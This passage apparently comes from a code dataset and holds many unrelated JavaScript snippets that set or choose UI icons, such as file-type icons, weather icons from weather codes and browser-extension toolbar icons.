case \"mpg\": icon = 'Video/mpg'; break;\n case \"mpeg\": icon = 'Video/mpeg'; break;\n case \"mov\": icon = 'Video/mov'; break;\n case \"wmv\": icon = 'Video/wmv'; break;\n // System\n case \"asp\": icon = 'System/asp'; break;\n case \"bat\": icon = 'System/bat'; break;\n case \"bin\": icon = 'System/bin'; break;\n case \"css\": icon = 'System/css'; break;\n case \"cue\": icon = 'System/cue'; break;\n case \"exe\": icon = 'System/exe'; break;\n case \"htm\": icon = 'System/htm'; break;\n case \"html\": icon = 'System/html'; break;\n case \"ini\": icon = 'System/ini'; break;\n case \"iso\": icon = 'System/iso'; break;\n case \"nfo\": icon = 'System/nfo'; break;\n case \"txt\": icon = 'System/txt'; break;\n case \"xml\": icon = 'System/xml'; break;\n case \"sln\": icon = 'System/sln'; break;\n case \"vcproj\": icon = 'System/vcproj'; break;\n case \"dll\": icon = 'System/dll'; break;\n default: icon = 'System/default'; break;\n }\n \n return icon;\n }", "getIcon(code) {\n let prefix = 'wi wi-';\n let icon = code\n\n let now = new Date()\n let sunrise = new Date(this.sunrise * 1000)\n let sunset = new Date(this.sunset * 1000)\n\n let tod = \"night-\"\n //determine if it is day or night\n if (now >= sunrise && now <= sunset) {\n tod = \"day-\"\n }\n //ids between 700-799 and 900-999 do not have day prefixes\n if (!(code > 699 && code < 800) && !(code > 899)) {\n icon = tod + icon\n }\n\n //add prefix\n icon = prefix + \"owm-\" + icon\n\n return icon\n }", "updateDriveSpecificIcons() {\n const metadata = this.parentTree_.metadataModel.getCache(\n [this.dirEntry_], ['shared', 'isMachineRoot', 'isExternalMedia']);\n\n const icon = this.querySelector('.icon');\n icon.classList.toggle('shared', !!(metadata[0] && metadata[0].shared));\n\n if (metadata[0] && metadata[0].isMachineRoot) {\n icon.setAttribute(\n 'volume-type-icon', VolumeManagerCommon.RootType.COMPUTER);\n }\n\n if (metadata[0] && metadata[0].isExternalMedia) {\n icon.setAttribute(\n 'volume-type-icon', VolumeManagerCommon.RootType.EXTERNAL_MEDIA);\n }\n }", "function getIcon(id) {\n var today = new Date();\n var h = today.getHours();\n if (id.toString()[0] === '2') {\n //return '11d.png';\n return '<i class=\"wi wi-thunderstorm\"></i>';\n }\n if (id.toString()[0] === '3') {\n //return '09d.png';\n return '<i class=\"wi wi-sprinkle\"></i>';\n }\n if (id === 500 || id === 501 || id === 502 || id === 503 || id === 504) {\n if (h > 6 && h < 18) {\n //return '10d.png';\n return '<i class=\"wi wi-day-rain\"></i>';\n } else {\n //return '10n.png';\n return '<i class=\"wi wi-night-alt-rain\"></i>';\n }\n }\n if (id === 511) {\n //return '13d.png';\n return '<i class=\"wi wi-rain-mix\"></i>';\n }\n if (id === 520 || id === 521 || id === 522 || id === 531) {\n //return '09d.png';\n return '<i class=\"wi wi-rain\"></i>';\n }\n if (id.toString()[0] === '6') {\n //return '13d.png';\n return '<i class=\"wi wi-snow\"></i>';\n }\n if (id.toString()[0] === '7') {\n //return '50d.png';\n return '<i class=\"wi wi-windy\"></i>';\n }\n if (id === 800) {\n if (h > 6 && h < 18) {\n //return '01d.png';\n return '<i class=\"wi wi-day-sunny\"></i>';\n } else {\n //return '01n.png';\n return '<i class=\"wi wi-night-clear\"></i>';\n }\n }\n if (id === 801) {\n if (h > 6 && h < 18) {\n //return '02d.png';\n return '<i class=\"wi wi-day-cloudy\"></i>';\n } else {\n //return '02n.png';\n return '<i class=\"wi wi-night-alt-cloudy\"></i>';\n }\n }\n if (id === 802) {\n //return '03d.png';\n return '<i class=\"wi wi-cloudy\"></i>';\n }\n if (id === 803 || id === 804) {\n //return '04d.png';\n return '<i class=\"wi wi-cloudy\"></i>';\n }\n\n } //getIcon", "function setIcon() {\n if (dark) {\n nightSwitch.innerHTML = sun;\n } else {\n nightSwitch.innerHTML = moon;\n }\n}", "static async updateIcons() {\n let weatherData = await Weather.getWeather();\n let icons = Array.from(document.querySelectorAll(\".forecast-icon\"));\n icons.forEach(icon => {\n let desc = weatherData[icons.indexOf(icon)].weather[0].id;\n switch(desc) {\n case 800: \n icon.innerHTML = `<img src=\"images/icons/icon-2.svg\" alt=\"Clear Sky\" height=50>`;\n break;\n case 801: \n icon.innerHTML = `<img src=\"images/icons/icon-3.svg\" alt=\"Few Clouds\" height=50>`;\n break;\n case 802:\n icon.innerHTML = `<img src=\"images/icons/icon-5.svg\" alt=\"Scattered Clouds Sky\" height=50>`;\n break;\n case 803: \n icon.innerHTML = `<img src=\"images/icons/icon-6.svg\" alt=\"broken clouds\" height=50>`;\n break;\n case 500: case 501: case 502: case 503: case 504: \n icon.innerHTML = `<img src=\"images/icons/icon-9.svg\" alt=\"shower rain\" height=50>`;\n break;\n case 520: case 521:case 522: case 531: \n icon.innerHTML = `<img src=\"images/icons/icon-10.svg\" alt=\"rain\" height=50>`;\n break;\n case 200: case 201: case 202: case 210: case 211: case 212: case 221:\n case 230: case 231: case 232:\n icon.innerHTML = `<img src=\"images/icons/icon-12.svg\" alt=\"thunderstorm\" height=50>`;\n break;\n case 600: case 601: case 602: case 611: case 612: case 613: case 615:\n case 616: case 620: case 621: case 622: case 511: \n icon.innerHTML = `<img src=\"images/icons/icon-13.svg\" alt=\"snow\" height=50>`;\n break;\n default: \n icon.innerHTML = `<img src=\"images/icons/icon-3.svg\" alt=\"mist\" height=50>`;\n break;\n }\n })\n }", "function updateIcon() {\n if (current == \"cutebaycat-icon.png\") {\n current = \"cutebaycat-icon2.png\";\n chrome.browserAction.setIcon({path:current});\n chrome.browserAction.setTitle({text:\"Bid first. Bid last!\"});\n } else if (current == \"cutebaycat-icon2.png\") {\n current = \"cutebaycat-icon3.png\";\n chrome.browserAction.setIcon({path:current});\n chrome.browserAction.setTitle({text:\"Bid last. No bid!\"});\n } else {\n current = \"cutebaycat-icon.png\";\n chrome.browserAction.setIcon({path:current});\n chrome.browserAction.setTitle({text:\"No bid! Bid first!\"});\n }\n/* chrome.tabs.getSelected(null, function(tab) {\n chrome.tabs.sendMessage(tab.id, {greeting: current}, function(response) {\n console.log(response.farewell);\n });\n });*/\n}", "function updateIcon () {\n browser.browserAction.setIcon({\n path: currentBookmark\n ? {\n 19: '../public/star-filled-19.png',\n 38: '../public/star-filled-38.png'\n }\n : {\n 19: '../public/star-empty-19.png',\n 38: '../public/star-empty-38.png'\n },\n tabId: currentTab.id\n })\n browser.browserAction.setTitle({\n // Screen readers can see the title\n title: currentBookmark ? 'Unbookmark it!' : 'Bookmark it!',\n tabId: currentTab.id\n })\n}", "function updateIcon(duration, currentTime) {\r\n\r\n\tduration = formatTime(duration, false)\r\n\tcurrentTime = formatTime(currentTime)\r\n\r\n\tvar height = 32\r\n\tvar width = 32\r\n\r\n\tvar c = document.createElement(\"canvas\")\r\n\tc.height = height\r\n\tc.width = width\r\n\r\n\tvar newIcon = c.getContext(\"2d\")\r\n\tnewIcon.font = \"15px Arial\"\r\n\tnewIcon.textAlign = \"center\"\r\n\tnewIcon.fillStyle = \"#\" + getTextColor() // \"rgb(180,0,0)\"\r\n\r\n\tnewIcon.fillText(currentTime, width/2, 12)\r\n\tnewIcon.fillText(duration, width/2, 31)\r\n\r\n\t// Draw horizontal line\r\n\tnewIcon.beginPath()\r\n\tnewIcon.lineWidth = 0\r\n\tnewIcon.strokeStyle = \"#\" + getTextColor() // \"rgb(100,0,0)\"; //\r\n\tnewIcon.moveTo(0, height/2)\r\n\tnewIcon.lineTo(width, height/2)\r\n\tnewIcon.stroke()\r\n\r\n\tchrome.browserAction.setIcon({imageData: newIcon.getImageData(0, 0, width, height)})\r\n\r\n}", "function updateActionIcons(table) {\n\n }", "function change_icon (action, countdown) {\n countdown = countdown || 0;\n\n $('.overlay').html('');\n $('.overlay').css('opacity', '1');\n\n if(action == 'play'){\n $('.overlay').html('<i class=\"fa fa-play fa-2x\"></i>');\n } else if (action == 'pause') {\n $('.overlay').html('<i class=\"fa fa-pause fa-2x\"></i>');\n } else if (action == 'love') {\n $('.overlay').html('<i class=\"fa fa-heart fa-2x\"></i>');\n } else if (action == 'countdown' && countdown > 0) {\n $('.overlay').html('<i class=\"fa fa-clock-o fa-2x\"></i>'+countdown);\n countdown--;\n console.log(countdown);\n setTimeout( function() { change_icon('countdown', countdown); }, 1000);\n }\n\n $('.overlay').animate( { opacity: 0 }, 800 );\n}", "setActionIconsDefault() {\n this.talkIcon.setFrame(4)\n this.swordIcon.setFrame(2)\n this.bowIcon.setFrame(0)\n }", "function updateIcon() {\n browser.browserAction.setIcon({\n path: currentBookmark ? {\n 19: \"icons/star-filled-19.png\",\n 38: \"icons/star-filled-38.png\"\n } : {\n 19: \"icons/star-empty-19.png\",\n 38: \"icons/star-empty-38.png\"\n } \n });\n browser.browserAction.setTitle({\n // Screen readers can see the title\n title: currentBookmark ? 'Acceptable' : 'Not Acceptable'\n }); \n}", "function setIcon (ID) {\n switch(ID) {\n case 800:\n if (7 < hour && hour < 19) {\n $('#weatherIcon').html(\"<img src='clear-day.png'/>\");\n }\n else {\n $('#weatherIcon').html(\"<img src='clear-night.png'/>\");\n }\n break;\n case 801:\n if (7 < hour && hour < 19) {\n $('#weatherIcon').html(\"<img src='cloudy-day.png'/>\");\n }\n else {\n $('#weatherIcon').html(\"<img src='cloudy-night.png'/>\");\n }\n break;\n case 802:\n case 803:\n case 804:\n if (7 < hour && hour < 19) {\n $('#weatherIcon').html(\"<img src='cloudy.png'/>\");\n }\n else {\n $('#weatherIcon').html(\"<img src='cloudy-night.png'/>\");\n }\n break;\n case 300:\n case 301:\n case 302:\n case 310:\n case 311:\n case 312:\n case 313:\n case 314:\n case 321: \n case 500:\n case 501:\n case 502:\n case 503:\n case 504:\n case 511:\n case 520:\n case 521:\n case 522:\n case 531:\n if (7 < hour && hour < 19) {\n $('#weatherIcon').html(\"<img src='rainy-day.png'/>\");\n }\n else {\n $('#weatherIcon').html(\"<img src='rainy-night.png'/>\");\n }\n break;\n case 600:\n case 601:\n case 602:\n case 611:\n case 612:\n case 615:\n case 616:\n case 620:\n case 621:\n case 622:\n if (7 < hour && hour < 19) {\n $('#weatherIcon').html(\"<img src='snowy-day.png'/>\");\n }\n else {\n $('#weatherIcon').html(\"<img src='snowy-night.png'/>\");\n }\n break;\n case 200:\n case 201:\n case 202:\n case 210:\n case 211:\n case 212:\n case 221:\n case 230:\n case 231:\n case 232:\n $('#weatherIcon').html(\"<img src='tstorms.png'/>\");\n break;\n }\n}", "function updateActionIcons(table) {\r\n\r\n\t}", "get_icon(dt) { return dt ? \"icons:close\" : \"icons:arrow-back\"; }", "function changeIcon(index) {\n var noti = document.getElementById(\"iconNoti\");\n\n if (index == 0) {\n noti.innerHTML = 'notifications';\n }else if (index == 1) {\n noti.innerHTML = 'filter_list';\n }\n}", "function setPreparingIcon() {\n if ($( \".today\" ).next().text() != \"-\") {\n if ($( \".today\" ).next().length == 0) {\n let NextRow = $( \".today\" ).parent().next().attr(\"id\");\n if (today.getHours() > 18) {\n $($($($(`#${NextRow} .Thursday`)).children()[1]).children()[0]).attr(\"src\", \"icons/preparing.png\");\n $(`#${NextRow} .Thursday`).attr({\"data-bs-target\":\"#exampleModalToggle5\", \"data-bs-toggle\":\"modal\", \"data-bs-dismiss\":\"modal\"});\n }\n else{\n $($($($(`#${NextRow} .Thursday`)).children()[1]).children()[0]).attr(\"src\", \"icons/on-delivery.png\");\n $(`#${NextRow} .Thursday`).attr({\"data-bs-target\":\"#exampleModalToggle2\", \"data-bs-toggle\":\"modal\", \"data-bs-dismiss\":\"modal\"});\n }\n } \n else {\n if (today.getHours() > 18) {\n $($($($( \".today\" ).next()).children()[1]).children()[0]).attr(\"src\", \"icons/preparing.png\");\n $($( \".today\" ).next()).attr({\"data-bs-target\":\"#exampleModalToggle5\", \"data-bs-toggle\":\"modal\", \"data-bs-dismiss\":\"modal\"});\n }\n else{\n $($($($( \".today\" ).next()).children()[1]).children()[0]).attr(\"src\", \"icons/on-delivery.png\");\n $($( \".today\" ).next()).attr({\"data-bs-target\":\"#exampleModalToggle2\", \"data-bs-toggle\":\"modal\", \"data-bs-dismiss\":\"modal\"});\n }\n }\n }\n }", "function setIconImage(info, key) {\n var value, iconDiv, iconDivUrl, iconName;\n value = weatherMethods[info]();\n iconDiv = document.getElementById('iconDiv' + key);\n if (action.savedElements.iconName) {\n iconName = action.savedElements.iconName;\n } else {\n iconName = 'simply';\n }\n if (iconDiv) {\n iconDivUrl = 'https://junesiphone.com/weather/IconSets/' + iconName + '/' + value + '.png';\n if (iconDiv.src != iconDivUrl) {\n var img = new Image();\n img.onload = function(){\n iconDiv.src = iconDivUrl;\n //set opacity to 1 after loaded\n iconDiv.style.opacity = 1;\n }; \n img.src = iconDivUrl;\n }\n }\n}", "function setIcon () {\n if ( oauth.hasToken() ) {\n chrome.browserAction.setIcon( { 'path': 'img/icon-19-on.png' } );\n } else {\n chrome.browserAction.setIcon( { 'path': 'img/icon-19-off.png' } );\n }\n}", "function moduleIcon(n)\n{\n\tif(appWindow.scrollViews()[0].images()[n].isValid())\n{\n\tUIALogger.logPass(\"User is able to see the \"+n+\" icon in Modules screen\");\n}\nelse\n{\n\tUIALogger.logPass(\"User is unable to see the \"+n+\" icon in the modules screen\");\n}\n}", "function setIconImage(info, key) {\n var value, iconDiv, iconDivUrl, iconName;\n value = weatherMethods[info]();\n iconDiv = document.getElementById('iconDiv' + key);\n if (action.savedElements.iconName) {\n iconName = action.savedElements.iconName;\n } else {\n iconName = 'simply';\n }\n if (iconDiv) {\n iconDivUrl = 'http://junesiphone.com/weather/IconSets/' + iconName + '/' + value + '.png';\n if (iconDiv.src != iconDivUrl) {\n iconDiv.src = iconDivUrl;\n }\n }\n}", "function updateIcons(title) {\n // Reset all the icons\n for (var x = locations.length - 1; x >= 0; x--) {\n var marker_title = locations[x].title;\n\n if (title != marker_title) {\n marker[marker_title].setIcon({\n url: './img/icons/map-'+marker_title+'.png',\n scaledSize: new google.maps.Size(50,50)\n });\n }\n }\n\n // Set the active icon\n marker[title].setIcon({\n url: './img/icons/map-'+title+'-active.png',\n scaledSize: new google.maps.Size(50,50)\n });\n}", "function icon(id) {\n if (game.currentPlayer == 'user') {\n $('#' + id).html(game.user);\n $('#' + id).removeAttr('onClick');\n gameStatus();\n setCurrPl('computer');\n } else if (game.currentPlayer == 'computer') {\n $('#' + id).html(game.computer);\n $('#' + id).removeAttr('onClick');\n gameStatus();\n setCurrPl('user');\n }\n game.moves++;\n draw();\n \n if (game.currentPlayer == 'computer') {\n comp();\n }\n }", "function changeIcons(icon) {\r\n icon.classList.toggle(\"fa-user-times\");\r\n}", "function attachIcon (){ \n var iconID= data.current.weather[0].icon;\n\n var iconURL= \"https://api.openweathermap.org/img/w/\" + iconID + \".png\"\n \n $('#weather-icon').attr('src', iconURL);\n $('#weather-icon').attr('alt', data.current.weather.description);\n}", "switcherMoinsVersPlus(channel){\n var doc = document.getElementById(\"icon\"+channel.id);\n doc.removeAttribute(\"style\");\n doc.style.color=\"#367DFE\";\n \n doc.classList.remove(\"glyphicon-minus\");\n doc.classList.add(\"glyphicon-plus\");\n }", "function changeIcon(value, marker, typeIcon) {\n var iconBase = 'http://localhost:8080/proyecto_r/public/img/icons/' + typeIcon + '/';\n if (value == 1) {\n marker.setIcon(iconBase + 'paper.png')\n } else\n if (value == 2) {\n marker.setIcon(iconBase + 'plastic.png')\n } else\n if (value == 3) {\n marker.setIcon(iconBase + 'metal.png')\n } else\n if (value == 4) {\n marker.setIcon(iconBase + 'glass.png')\n } else;\n if (value == 5) {\n marker.setIcon(iconBase + 'white.png')\n }\n console.log(value)\n}", "function updateIcon(status) {\n let iconPath = \"app/images/icons/healthy_19.png\";\n switch (status) {\n case 'CHECKING':\n iconPath = \"app/images/icons/checking_19.png\";\n break;\n case 'OK':\n iconPath = \"app/images/icons/healthy_19.png\";\n break;\n case 'MAJOR_INCIDENT_CORE':\n iconPath = \"app/images/icons/disruption_19.png\";\n break;\n case 'MINOR_INCIDENT_CORE':\n iconPath = \"app/images/icons/degradation_19.png\";\n break;\n case 'MAINTENANCE_CORE':\n iconPath = \"app/images/icons/maintenance_19.png\";\n break;\n case 'INFORMATIONAL_CORE':\n iconPath = \"app/images/icons/information_19.png\";\n break;\n case 'MAJOR_INCIDENT_NONCORE':\n iconPath = \"app/images/icons/healthy_disruption_19.png\";\n break;\n case 'MINOR_INCIDENT_NONCORE':\n iconPath = \"app/images/icons/healthy_degradation_19.png\";\n break;\n case 'MAINTENANCE_NONCORE':\n iconPath = \"app/images/icons/healthy_maintenance_19.png\";\n break;\n case 'INFORMATIONAL_NONCORE':\n iconPath = \"app/images/icons/healthy_19.png\";\n break;\n }\n\n chrome.browserAction.setIcon({\n path: iconPath\n });\n}", "function changeVolumeIcon(volume) {\n if (volume >= 67 && volume <= 100) {\n volumeImage.src = \"./assets/media/icons/volume-level-3.svg\";\n } \n else if (volume >= 34 && volume <= 66) {\n volumeImage.src = \"./assets/media/icons/volume-level-2.svg\";\n } \n else if (volume >= 1 && volume <= 33) {\n volumeImage.src = \"./assets/media/icons/volume-level-1.svg\";\n } \n else {\n volumeImage.src = \"./assets/media/icons/volume-level-0.svg\";\n }\n}", "function getIconTypeForTimeout(timeout, iconType) {\n\n console.log(timeout);\n if (timeout == \"old\") {\n if (iconType == \"food_truck\") {\n icon = \"static/truck6.png\";\n }\n }\n else if (timeout == \"three_hours\") {\n if (iconType == \"food_truck\") {\n icon = \"static/truck6.png\";\n }\n }\n else if (timeout == \"two_hours\") {\n if (iconType == \"food_truck\") {\n icon = \"static/truck3.png\";\n }\n }\n else if (timeout == \"one_hour\") {\n if (iconType == \"food_truck\") {\n icon = \"static/truck1.png\";\n }\n }\n else {\n if (iconType == \"food_truck\") {\n icon = \"static/truck.png\";\n }\n }\n return icon;\n}", "function cargarIconos(){\n // iconos para mostrar puntos\n estilosActuales[\"carga\"] = styles.marcadorCarga();\n //corregir esto\n estilosActuales[\"Taxi/Remis\"] = styles.marcadorTraslado();\n // default\n estilosActuales[\"default\"] = styles.marcadorDefault();\n }", "function getIcon(_icon) {\n switch (_icon) {\n case \"info\":\n return _icon + \" bz-information-icon\";\n case \"warning\":\n return _icon + \" bz-ontime-normal\";\n case \"error\":\n return _icon + \" bz-overdue-normal\";\n case \"success\":\n return _icon + \" bz-upcoming-normal\";\n default:\n return _icon + \" bz-workonit\";\n }\n }", "switcherPlusVersMoins(channel){\n var doc = document.getElementById(\"icon\"+channel.id);\n doc.removeAttribute(\"style\");\n doc.style.color=\"#367DFE\";\n \n doc.classList.remove(\"glyphicon-plus\");\n doc.classList.add(\"glyphicon-minus\");\n }", "function findIcon(iconName) {\n switch (iconName.toLowerCase()) {\n case \"clear-day\":\n case \"clear\":\n case \"mostlysunny\":\n case \"partlysunny\":\n case \"sunny\":\n $scope.weatherIcon = \"wi wi-day-sunny\";\n break;\n case \"clear-night\":\n $scope.weatherIcon = \"wi wi-night-clear\";\n break;\n case \"rain\":\n case \"chancerain\":\n case \"freezing rain\":\n $scope.weatherIcon = \"wi wi-rain\";\n break;\n case \"snow\":\n case \"chanceflurries\":\n case \"chancesnow\":\n case \"flurries\":\n $scope.weatherIcon = \"wi wi-snow\";\n break;\n case \"sleet\":\n case \"chancesleet\":\n $scope.weatherIcon = \"wi wi-sleet\";\n break;\n case \"wind\":\n $scope.weatherIcon = \"wi wi-strong-wind\";\n break;\n case \"fog\":\n case \"hazy\":\n $scope.weatherIcon = \"wi wi-fog\";\n break;\n case \"partly-cloudy-day\":\n case \"partlycloudy\":\n $scope.weatherIcon = \"wi wi-day-cloudy\";\n break;\n case \"partly-cloudy-night\":\n $scope.weatherIcon = \"wi wi-night-cloudy\";\n break;\n case \"hail\":\n $scope.weatherIcon = \"wi wi-hail\";\n break;\n case \"thunderstorm\":\n case \"chancetstorms\":\n case \"tstorms\":\n $scope.weatherIcon = \"wi wi-thunderstorm\";\n break;\n case \"tornado\":\n $scope.weatherIcon = \"wi wi-tornado\";\n break;\n case \"cloudy\":\n case \"mostlycloudy\":\n case \"overcast\":\n $scope.weatherIcon = \"wi wi-cloudy\";\n break;\n }\n }", "function getIcon(condition) {\n switch (condition) {\n case \"Rain\":\n return \"fas fa-cloud-showers-heavy\";\n case \"Clouds\":\n return \"fas fa-cloud\";\n case \"Clear\":\n return \"fas fa-sun\";\n case \"Drizzle\":\n return \"fas fa-cloud-rain\";\n case \"Snow\":\n return \"fas fa-snowflake\";\n case \"Mist\":\n return \"fas fa-smog\";\n case \"Fog\":\n return \"fas fa-smog\";\n default:\n return \"fas fa-cloud-sun\";\n }\n}", "function yIconFromName(meteoStr) {\n return getTabValIcon()[meteoStr]*13.3;\n}", "function iconSetting() {\n\tvar icon = document.getElementsByClassName(\"icon\")[0];\n\tEventUtil.addHandler(icon, \"click\", randomOrder);\n}", "function updateActionIcons(table) {\n\t\t/**\n\t\tvar replacement = \n\t\t{\n\t\t\t'ui-icon-pencil' : 'icon-pencil blue',\n\t\t\t'ui-icon-trash' : 'icon-trash red',\n\t\t\t'ui-icon-disk' : 'icon-ok green',\n\t\t\t'ui-icon-cancel' : 'icon-remove red'\n\t\t};\n\t\t$(table).find('.ui-pg-div span.ui-icon').each(function(){\n\t\t\tvar icon = $(this);\n\t\t\tvar $class = $.trim(icon.attr('class').replace('ui-icon', ''));\n\t\t\tif($class in replacement) icon.attr('class', 'ui-icon '+replacement[$class]);\n\t\t})\n\t\t*/\n\t}", "function updateActionIcons(table) {\n\t\t/**\n\t\tvar replacement = \n\t\t{\n\t\t\t'ui-icon-pencil' : 'icon-pencil blue',\n\t\t\t'ui-icon-trash' : 'icon-trash red',\n\t\t\t'ui-icon-disk' : 'icon-ok green',\n\t\t\t'ui-icon-cancel' : 'icon-remove red'\n\t\t};\n\t\t$(table).find('.ui-pg-div span.ui-icon').each(function(){\n\t\t\tvar icon = $(this);\n\t\t\tvar $class = $.trim(icon.attr('class').replace('ui-icon', ''));\n\t\t\tif($class in replacement) icon.attr('class', 'ui-icon '+replacement[$class]);\n\t\t})\n\t\t*/\n\t}", "function updateActionIcons(table) {\n\t\t/**\n\t\tvar replacement = \n\t\t{\n\t\t\t'ui-icon-pencil' : 'icon-pencil blue',\n\t\t\t'ui-icon-trash' : 'icon-trash red',\n\t\t\t'ui-icon-disk' : 'icon-ok green',\n\t\t\t'ui-icon-cancel' : 'icon-remove red'\n\t\t};\n\t\t$(table).find('.ui-pg-div span.ui-icon').each(function(){\n\t\t\tvar icon = $(this);\n\t\t\tvar $class = $.trim(icon.attr('class').replace('ui-icon', ''));\n\t\t\tif($class in replacement) icon.attr('class', 'ui-icon '+replacement[$class]);\n\t\t})\n\t\t*/\n\t}", "function iconsToggle(){\n \ticons += 1;\n \tinitialize();\n }", "function _iconDefault() {\n clearTimeout( _iconIsRecording );\n chrome.browserAction.setIcon( { path: 'assets/img/icons/icon_16.png', tabId: currentTabId } );\n }", "async changeIcon(lat, lon) {\n const forecastData = await getForecastFromApi(lat, lon);\n const weather = forecastData.weather;\n this.setState({ icon: weather[0].icon.slice(0, -1) });\n }", "function updateActionIcons(table) {\n\t /**\n\t var replacement = \n\t {\n\t 'ui-ace-icon fa fa-pencil' : 'ace-icon fa fa-pencil blue',\n\t 'ui-ace-icon fa fa-trash-o' : 'ace-icon fa fa-trash-o red',\n\t 'ui-icon-disk' : 'ace-icon fa fa-check green',\n\t 'ui-icon-cancel' : 'ace-icon fa fa-times red'\n\t };\n\t $(table).find('.ui-pg-div span.ui-icon').each(function(){\n\t var icon = $(this);\n\t var $class = $.trim(icon.attr('class').replace('ui-icon', ''));\n\t if($class in replacement) icon.attr('class', 'ui-icon '+replacement[$class]);\n\t })\n\t */\n\t }", "function updateActionIcons(table) {\r\n\t\t/**\r\n\t\tvar replacement = \r\n\t\t{\r\n\t\t\t'ui-icon-pencil' : 'icon-pencil blue',\r\n\t\t\t'ui-icon-trash' : 'icon-trash red',\r\n\t\t\t'ui-icon-disk' : 'icon-ok green',\r\n\t\t\t'ui-icon-cancel' : 'icon-remove red'\r\n\t\t};\r\n\t\t$(table).find('.ui-pg-div span.ui-icon').each(function(){\r\n\t\t\tvar icon = $(this);\r\n\t\t\tvar $class = $.trim(icon.attr('class').replace('ui-icon', ''));\r\n\t\t\tif($class in replacement) icon.attr('class', 'ui-icon '+replacement[$class]);\r\n\t\t})\r\n\t\t*/\r\n\t}", "function updateActionIcons(table) {\r\n\t/**\r\n\tvar replacement = \r\n\t{\r\n\t\t'ui-ace-icon fa fa-pencil' : 'ace-icon fa fa-pencil blue',\r\n\t\t'ui-ace-icon fa fa-trash-o' : 'ace-icon fa fa-trash-o red',\r\n\t\t'ui-icon-disk' : 'ace-icon fa fa-check green',\r\n\t\t'ui-icon-cancel' : 'ace-icon fa fa-times red'\r\n\t};\r\n\t$(table).find('.ui-pg-div span.ui-icon').each(function(){\r\n\t\tvar icon = $(this);\r\n\t\tvar $class = $.trim(icon.attr('class').replace('ui-icon', ''));\r\n\t\tif($class in replacement) icon.attr('class', 'ui-icon '+replacement[$class]);\r\n\t})\r\n\t*/\r\n}", "function updateActionIcons(table) {\n /**\n var replacement =\n {\n 'ui-icon-pencil' : 'icon-pencil blue',\n 'ui-icon-trash' : 'icon-trash red',\n 'ui-icon-disk' : 'icon-ok green',\n 'ui-icon-cancel' : 'icon-remove red'\n };\n $(table).find('.ui-pg-div span.ui-icon').each(function(){\n\t\t\tvar icon = $(this);\n\t\t\tvar $class = $.trim(icon.attr('class').replace('ui-icon', ''));\n\t\t\tif($class in replacement) icon.attr('class', 'ui-icon '+replacement[$class]);\n\t\t})\n */\n }", "function iconWorldWideWeather(code) {\n \n switch(code) {\n case '0': var icon = '<i class=\"wi wi-tornado\"></i>';\n break;\n case '1': var icon = '<i class=\"wi wi-storm-showers\"></i>';\n break;\n case '2': var icon = '<i class=\"wi wi-tornado\"></i>';\n break;\n case '3': var icon = '<i class=\"wi wi-thunderstorm\"></i>';\n break;\n case '4': var icon = '<i class=\"wi wi-thunderstorm\"></i>';\n break;\n case '5': var icon = '<i class=\"wi wi-snow\"></i>';\n break;\n case '6': var icon = '<i class=\"wi wi-rain-mix\"></i>';\n break;\n case '7': var icon = '<i class=\"wi wi-rain-mix\"></i>';\n break;\n case '8': var icon = '<i class=\"wi wi-sprinkle\"></i>';\n break;\n case '9': var icon = '<i class=\"wi wi-sprinkle\"></i>';\n break;\n case '10': var icon = '<i class=\"wi wi-hail\"></i>';\n break;\n case '11': var icon = '<i class=\"wi wi-showers\"></i>';\n break;\n case '12': var icon = '<i class=\"wi wi-showers\"></i>';\n break;\n case '13': var icon = '<i class=\"wi wi-snow\"></i>';\n break;\n case '14': var icon = '<i class=\"wi wi-storm-showers\"></i>';\n break;\n case '15': var icon = '<i class=\"wi wi-snow\"></i>';\n break;\n case '16': var icon = '<i class=\"wi wi-snow\"></i>';\n break;\n case '17': var icon = '<i class=\"wi wi-hail\"></i>';\n break;\n case '18': var icon = '<i class=\"wi wi-hail\"></i>';\n break;\n case '19': var icon = '<i class=\"wi wi-cloudy-gusts\"></i>';\n break;\n case '20': var icon = '<i class=\"wi wi-fog\"></i>';\n break;\n case '21': var icon = '<i class=\"wi wi-fog\"></i>';\n break;\n case '22': var icon = '<i class=\"wi wi-fog\"></i>';\n break;\n case '23': var icon = '<i class=\"wi wi-cloudy-gusts\"></i>';\n break;\n case '24': var icon = '<i class=\"wi wi-cloudy-windy\"></i>';\n break;\n case '25': var icon = '<i class=\"wi wi-thermometer\"></i>';\n break;\n case '26': var icon = '<i class=\"wi wi-cloudy\"></i>';\n break;\n case '27': var icon = '<i class=\"wi wi-night-cloudy\"></i>';\n break;\n case '28': var icon = '<i class=\"wi wi-day-cloudy\"></i>';\n break;\n case '29': var icon = '<i class=\"wi wi-night-cloudy\"></i>';\n break;\n case '30': var icon = '<i class=\"wi wi-day-cloudy\"></i>';\n break;\n case '31': var icon = '<i class=\"wi wi-night-clear\"></i>';\n break;\n case '32': var icon = '<i class=\"wi wi-day-sunny\"></i>';\n break;\n case '33': var icon = '<i class=\"wi wi-night-clear\"></i>';\n break;\n case '34': var icon = '<i class=\"wi wi-day-sunny-overcast\"></i>';\n break;\n case '35': var icon = '<i class=\"wi wi-hail\"></i>';\n break;\n case '36': var icon = '<i class=\"wi wi-day-sunny\"></i>';\n break;\n case '37': var icon = '<i class=\"wi wi-thunderstorm\"></i>';\n break;\n case '38': var icon = '<i class=\"wi wi-thunderstorm\"></i>';\n break;\n case '39': var icon = '<i class=\"wi wi wi-thunderstorm\"></i>';\n break;\n case '40': var icon = '<i class=\"wi wi-storm-showers\"></i>';\n break;\n case '41': var icon = '<i class=\"wi wi-snow\"></i>';\n break;\n case '42': var icon = '<i class=\"wi wi-snow\"></i>';\n break;\n case '43': var icon = '<i class=\"wi wi-snow\"></i>';\n break;\n case '44': var icon = '<i class=\"wi wi-cloudy\"></i>';\n break;\n case '45': var icon = '<i class=\"wi wi-lightning\"></i>';\n break;\n case '46': var icon = '<i class=\"wi wi-snow\"></i>';\n break;\n case '47': var icon = '<i class=\"wi wi-thunderstorm\"></i>';\n break;\n case '3200': var icon = '<i class=\"wi wi-cloud\"></i>';\n break;\n default: var icon = '<i class=\"wi wi-cloud\"></i>';\n break;\n }\n return icon;\n }", "function getIcon(type) {\r\n const all_weather = \"<span title='All Weather' class='fa fa-cloud'></span>\";\r\n const tent = \"<span title='Tent' class='glyphicon glyphicon-tent'></span>\";\r\n const caravan = \"<span title='Caravan' class='fas fa-car'></span>\";\r\n const motorhome = \"<span title='Motorhome' class='fas fa-truck'></span>\";\r\n const electrical = \"<span title='Electrical Outlet' class='fas fa-bolt'></span>\";\r\n\r\n switch (type) {\r\n case \"tent\":\r\n return tent;\r\n case \"caravan\":\r\n return caravan + \" 